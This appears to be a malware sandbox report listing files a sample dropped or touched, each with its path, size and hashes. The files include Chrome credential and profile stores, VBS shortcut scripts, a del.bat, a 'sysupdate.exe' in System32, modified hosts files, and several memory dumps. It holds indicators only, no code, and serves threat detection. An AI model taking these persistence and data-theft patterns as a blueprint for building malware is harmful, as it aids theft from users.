SHA512 090a0f24a77d136bc7fe5e1dc18163de9b5cc8e66981595d1c42a81d79e8cdff856afe2ab67b07dadb18373656969655cb949c6daf525f38ab10388c2d2c0b72
SSDEEP 192:NURgX81iVrG6yv7HYpAPRp2I98HKVb+WNnZ0P7xY0K4VyIsnAUgtaJ:aRgXiizeEUXT6mmPtf8
TLSH
T12D42C52EF914697B9CDBC22AFD22BB57E7F5102161901EC4E6FC8A2C15E7ACD2217017
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
Size 16KB
SHA256 0ae6566b0c04d69cd70c4ce61a0c1701fcf05f2063fd9f39cc3b5b85f46ec780
MD5 4f4aef2be9253ba92d97c327d179c551
SHA1 cf2851269825d484e32bfac5181fc40f2850b669
SHA512 d689ac01e620e8143c9edae6c661244d3d1876d999c713153b9a3c06a6a97db08b235fc1eaf60336b24e6b41a272423d8a290d2b7170652000b59e960e2ee832
SSDEEP 384:hTjVw7KxkXqKf/pUZNCgVLH2HfgslXa7pLuLc83yXODVw+ErU3L5HGcLRXU:hfVw7KxkXqKf/pUZNCgVLH2HfgsVa7pP
TLSH
T1FD72F9676C4C9A770F94CACCDD27BA4FADB5024B65E9886443FA981A03D5BCB010A1F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\5deb1ec42c0814a7542dba811360418cf8978a5d\index.txt
Size 143B
SHA256 11a9d753808d6e397aa164d1891e94dcb36f3d998c54bd66d45ecd2cdbdb54c6
MD5 6b455ebaad3eac41f2c6b3d321bf8149
SHA1 f20190d45a9ab986c9481f9f26f49353c9434641
SHA512 677615c77501ed4a6f4871f4e678022aa92cf4322fc4e8c8f20d141acf82e4b8880ce28f15f47b2a35d9eb4a63379396c9ceb581993a33d1e11a4620032b4081
TLSH
T16CC02BCB9130401DB78AFBA12400B01EDB82AE8C0DCC0C34C6D0406BE132120B6C9F0A
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe59f7c4.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\5deb1ec42c0814a7542dba811360418cf8978a5d\index.txt~RFe59f7c4.TMP
Size 150B
SHA256 80f121750e9198b67f8e57661070543b95828177fa5505bbcca117158b884031
MD5 15450eb79a2c460bdb9006d79ecc4e96
SHA1 2ac0f7340ee05fcd366f48565ef5d09d0ec5bc18
SHA512 107bb7b188866c363cea9d218eb86a68eff8cdf26047ee6c99fd26f7bf6f7dca586d45be3658db73813a57beaef1dca9bda9eca621f1a4b959fb58290beb4d12
TLSH
T136C02BCBA130001DB74AB7921404B00E9796AE8C0ECC5C34D6D0B06BF132020F6CCF0A
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 144B
SHA256 f06851f906a35b747047c6b32e921008bd34cbdb4f09f0fa6ba4101220ce5724
MD5 8574752631c64f8106836751aa7ae8f4
SHA1 f567af2cdb08f208b6278ca75589ecd52ddb859a
SHA512 628ed2ac4f7ecccf9b32ae851cadb536b7263e9678875f9d2463d2d35ac2a59afa3073876b1421aa9d47f1e31fc20e0d6c6a9f5033257d32e6f668476d4a5737
TLSH
T17FC012B2C001A122C01FD7F41087889C775CAF60DA15176C63E01939AC352324156155
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
Size 120B
SHA256 c0a4c943c97628c32e62d1a85d98fe750a08eafbebe59aba0a4a06740268ef88
MD5 9bdf8302def853f751eb624490039ffb
SHA1 0b43822b55047f7e86956cf9c670f4c15d01ff3f
SHA512 88b13386153a5479ea1df3e3e929c8def989882990ed52ddddddc7304e74553d04244a67d9e3172d4f45d86275dc738c5f3ab73d73c609258de2d3debe4fe4ef
TLSH
T149B01272C0C295A3C04A03B52AC5889C3354FF28C6020313B5E417529C36690062C140
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe587c20.TMP

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe587c20.TMP
Size 96B
SHA256 779b23792e44d310aeb4e4ed94fba99f68cb6ee9a87de6e59a9ed417d2782087
MD5 91ee303fa09be8c38b676bad2b3c71c4
SHA1 62420ad62e53a6b697b9c5572b612bb73246c543
SHA512 895bf26a7073173110244207a6eff0b8c1a77722c90cf7a057ae5fef71149aeb264f7a6c158b8c4d6117ddd8bf5158f6a636b6094b6ad76b5d0f9dd87c1896a0
TLSH
T1F2B02228C0022222C00203B02C8088CC3020CF20CA03233A82E00A3AEC303228B38030
MD5 SHA1 SHA512 TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
Size 138KB
SHA256 8144a20f4286d65829d34314b78bf808d02d0e62b7a39580d2f9df1cce742f94
MD5 d672baf22e37782da0e01b7b0f668fb6
SHA1 1231dc3c03664322a3d0fb0ac11d5c43f2945280
SHA512 a07c40442410aab5925183a0186736da2344bb7b2aeaf7a51228cba9065c515521204c4dce668f084c2f97a7b2f0559481d40e86f51d0e0aa530d1dc3370b14e
SSDEEP 384:jeuvBnhJsueMEGvIW1DcP2O47VumOs/ne:1nbZeMrv/hGt41ne
TLSH
T1AED3874B3A743002EDE5DA721CE051BB5E3CB16D8F5595D428B620688EF2963B23D4BF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 197KB
SHA256 01f94cd47e4d87932228d848f05459a6981e66d3078162e26bd8271dcf875532
MD5 affca0eaa08aac210d0f021a6fd987ff
SHA1 b096c523b9f5e48112384c04756a3dfae4a58dca
SHA512 ec7e07a31953553e5c010e24a53f72481c5cb97a0f7cec622b331b3a61abbbd1099466895ea15a183c8494eee269b07064fe8d262fb6661148816c8b33d2fbfe
SSDEEP 6144:3qlBiyDMu8J3k7BUJc86HqY++JjcMW2VcVLl:alEN3k7GJc86HVOMWH
TLSH
T1E91422A65F0B3432219C976A611B7C9D46E38CCD2A1D28FD12E15BBB09BB3D2735BC41
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 91KB
SHA256 52af61821001dc0cc159c2ef2179f1f8091de66cdc34e07761b04ab190d2cb12
MD5 9a09587f5a3bb5a6d8b12e8035793e3a
SHA1 4b4fb764b42972edae4ea131c7d949d2d44a7cce
SHA512 f24b6f3e464b6df78d0340a23634ea50a6df0b43c3b86a748398274dd77fa54026da0a02171c7efba2567e230f8f961b2a1d290f85d710bf3621799bdc41a9f5
SSDEEP 1536:ZSfP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFN5:A++J3qUQm08KMWF0bFTcVHr6z+
TLSH
T1169302B9991E7C3923AFD796A003AC9D8CD3DCDE151415BC31C75B1E14BB392930B895
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 90KB
SHA256 c3e834b0c5a521602e0c30203dc3dec35fb80c77cc4d2f40e837276b17b2904a
MD5 868e318cd0348fe8c2f1e7cf11c041f3
SHA1 06a5db97e1a7b8f992ef2a6211bf9add60962e03
SHA512 e2b21c215aa69d333edfa720db44a88aaefb183d8f4867d817531b753c8054e60faea6e3ff07eeb61db4c84289b7c07f376eb18531b11c362dc30a32e6add026
SSDEEP 1536:wSFP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFNA:D++J3qUQm08KMWF0bFTcVHr6zf
TLSH
T1449302B9991E7D39236EC796A0179CAC88D3DCDE151411BC30C75B1E14BB392A31B8E5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 91KB
SHA256 d0a2c29e94349f0d2765f93834a9d07e2488a6509d7606079e1859a09b65ed22
MD5 05e7009f0d7a1c6233431d667467e19e
SHA1 d7fc2da0ee399134363fddae6ab253bda9881b0c
SHA512 aa03169753bea649d9e790a7325b30e1801718c1441e6333141d9658774b473267938782cd071bf16838576cd56cd78481ddb666b61d6a46fe5fdee87c7e0449
SSDEEP 1536:USfP++SKG0qRilWUATqUd408KMYbF5ITGkbEKTldfQVHV+Y6zIFN5:Z++J3qUQm08KMWF0bFTcVHr6z+
TLSH
T13C9302B9991E7C3923ABD7A6A003AC9D8CD3DCDE151415BC31C79B1E14BB392930B8A5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nailnerd.com_chromess.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\nailnerd.com_chromess.exe.log
Size 660B
SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
MD5 284393596fdd49bebd7b861bf339b82d
SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
TLSH
T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_o2e2fkgu.43y.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o2e2fkgu.43y.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

createshortcut.vbs

Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
Size 246B
SHA256 2b5966a9cab3f7c84ee6417a91ed4faa63c04b982d05869effd769157a6f1428
MD5 782bf0d9c28ed73e8f0ae3568e04847c
SHA1 2e8c92a5110c01202105afa0a0f38d993270e796
SHA512 6acfeb18bbdbebca67a07cbc67cc4c6233fd7b8d776a1cfa9f7e0d5a24360607435be70536283179dd199b44e982212c53e1024970c94aa1527d48be15b19c54
TLSH
T153D0978FB248CAB80001223B81F38E4CD9E048283B03BEB0AAA0CC0D328088089F6043
MD5 SHA1 SHA512 TLSH

Submit Download

del.bat

Path C:\Users\Admin\AppData\Local\Temp\del.bat
Size 59B
SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
MD5 9cecbebdcdd60358132849714a3b82f7
SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
TLSH
T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
MD5 SHA1 SHA512 TLSH

Submit Download

makelnk.vbs

Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
Size 247B
SHA256 3da5108375d3d36cc037cf951c33b6fd7e24966b54a71246165210a1468d7e80
MD5 c201acc3518989e8ad62b9045e8b0c1a
SHA1 09fcb9a495c4c2eb044eead0a0fda912e7a28630
SHA512 9ab9cb23c7d8b673b704460e34c0c5fac6ca6966c4476d198ffa9eee294d645a5d7acbeb87e4d9fb3fedb6dbe28bb004b3435b73c5abcdef3dfd66710466f8e7
TLSH
T198D0A78FB249CAB90001267B91F38E4DDAE148683F13AE70AA65DD0E378189599F6543
MD5 SHA1 SHA512 TLSH

Submit Download

sysupdate.exe

Path C:\Windows\System32\sysupdate.exe
Size 48KB
SHA256 ea830c4f07a43e3a5b22a1d0b08ba6feea459239aeddbf1df937268126fc68c8
MD5 fb9ded31c61dc492bd699156cd630205
SHA1 26e5ab31b0ec7fcbea65d30bbf71de5961eded50
SHA512 465eb4b7e11c75a8c4030d2fd4813858b564d40309ea1a63f2f1ec4ac86ae74d858a635057a2c67bba3cd5b9e16d8ac34fd6b8cfff056e3e1375b6b63b76bd10
SSDEEP 768:khHDTj5D++kqUF7NaEi47//o4ZC1XXGblfA0HKFcM:4HL5DI1QET7I4ZEXGblf9HucM
TLSH
T1A023F70437F94111E1FF5ABA8DB196019B31F8939C23E78E06D5058E1AB3780DEA8B77
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 1KB
SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
MD5 20c351356d10acf150d790bfa940d4ca
SHA1 cb3f2a2b2e9e4a96bf64b1439cfcfe9e8e77e426
SHA512 d1432210bd44c3ade5ea85be5c6df72a420bd7a1e610c574cdfd39b9d2b7e6d6205cf4daac5f0b8479e2d7784ba1d74ab3e752ea0eb2eb853460225b452a5fe6
TLSH
T10B218835064991AC26F381A50429F42FE31FE0FB0DABD9C93A8DC54E3BA1A1C53A2649
MD5 SHA1 SHA512 TLSH

Submit Download

hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 1KB
SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
MD5 d7645147eacea72992c3efbc22e7a507
SHA1 f83f062966494c08c716ef3b22228dccdd6a554a
SHA512 2ca8d2edd67e5891dd6ce0cdb701c3a1978a7c526dbdbefe75b074b00c40bdbbc57a3da7c0cea3a861be544ddbedaf7e7d63f603030b90e9499728171c789aa9
TLSH
T1F1313335064955EC26F3C1940439B43FD21BF0F60DEBE9CA3A8DC54A77B1A5D12E224D
MD5 SHA1 SHA512 TLSH

Submit Download

hosts

Path C:\Windows\system32\drivers\etc\hosts
Size 1KB
SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
MD5 ffbf3122b27f828d8fd3c577ccf970b0
SHA1 d28033df68bd7a6c5cf8d7af9277af61c29b9e73
SHA512 4eba49f44ca9bab724735fcb87e7b066d531fb7d3280b601ad4583ac18186aafc4f973d586fe63a2c8cb41878d5ec959349658b6aac70dab3b0c87ecaae6c370
TLSH
T12D312435064955EC26F3C1940439B43FD20BF0F60DEBE9CA7A8DC54A77B1A5D12E624D
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1596-2477-0x00000230E5600000-0x00000230E5609000-memory.dmp

Download

memory/1808-2435-0x0000012BC0BD0000-0x0000012BC0BD1000-memory.dmp

Download

memory/1924-2510-0x0000026829520000-0x000002682958F000-memory.dmp

Download

memory/1924-2509-0x0000026829520000-0x000002682958F000-memory.dmp

Download

memory/2176-2520-0x000002BD42E20000-0x000002BD42E8F000-memory.dmp

Download

memory/2176-2503-0x000002BD42E20000-0x000002BD42E8F000-memory.dmp

Download

memory/3100-33-0x000000001B680000-0x000000001B690000-memory.dmp

Download

memory/3100-2486-0x000000001E640000-0x000000001E6AF000-memory.dmp

Download

memory/3100-2579-0x000000001E640000-0x000000001E6AF000-memory.dmp

Download

memory/3100-2487-0x000000001C8E0000-0x000000001C8F2000-memory.dmp

Download

memory/3100-2458-0x000000001E640000-0x000000001E6AF000-memory.dmp

Download

memory/3100-1-0x000000001B680000-0x000000001B690000-memory.dmp

Download

memory/3100-0-0x0000000000B00000-0x0000000000B12000-memory.dmp

Download

memory/4500-438-0x000001664C680000-0x000001664C733000-memory.dmp

Download

memory/4500-686-0x000001664C8C0000-0x000001664C8DC000-memory.dmp

Download

memory/4500-26-0x0000016633BE0000-0x0000016633BF2000-memory.dmp

Download

memory/4500-27-0x000001664C380000-0x000001664C3EF000-memory.dmp

Download

memory/4500-434-0x000001664C660000-0x000001664C67C000-memory.dmp

Download

memory/4500-966-0x000001664C900000-0x000001664C91A000-memory.dmp

Download

memory/4500-606-0x000001664C740000-0x000001664C74A000-memory.dmp

Download

memory/4500-1128-0x000001664C8B0000-0x000001664C8B8000-memory.dmp

Download

memory/4500-1662-0x000001664C380000-0x000001664C3EF000-memory.dmp

Download

memory/4500-899-0x000001664C8A0000-0x000001664C8AA000-memory.dmp

Download

memory/4500-1175-0x000001664C8F0000-0x000001664C8FA000-memory.dmp

Download

memory/4500-19-0x000001664C250000-0x000001664C272000-memory.dmp

Download

memory/4500-1148-0x000001664C8E0000-0x000001664C8E6000-memory.dmp

Download

memory/4808-2470-0x0000013214610000-0x000001321467F000-memory.dmp

Download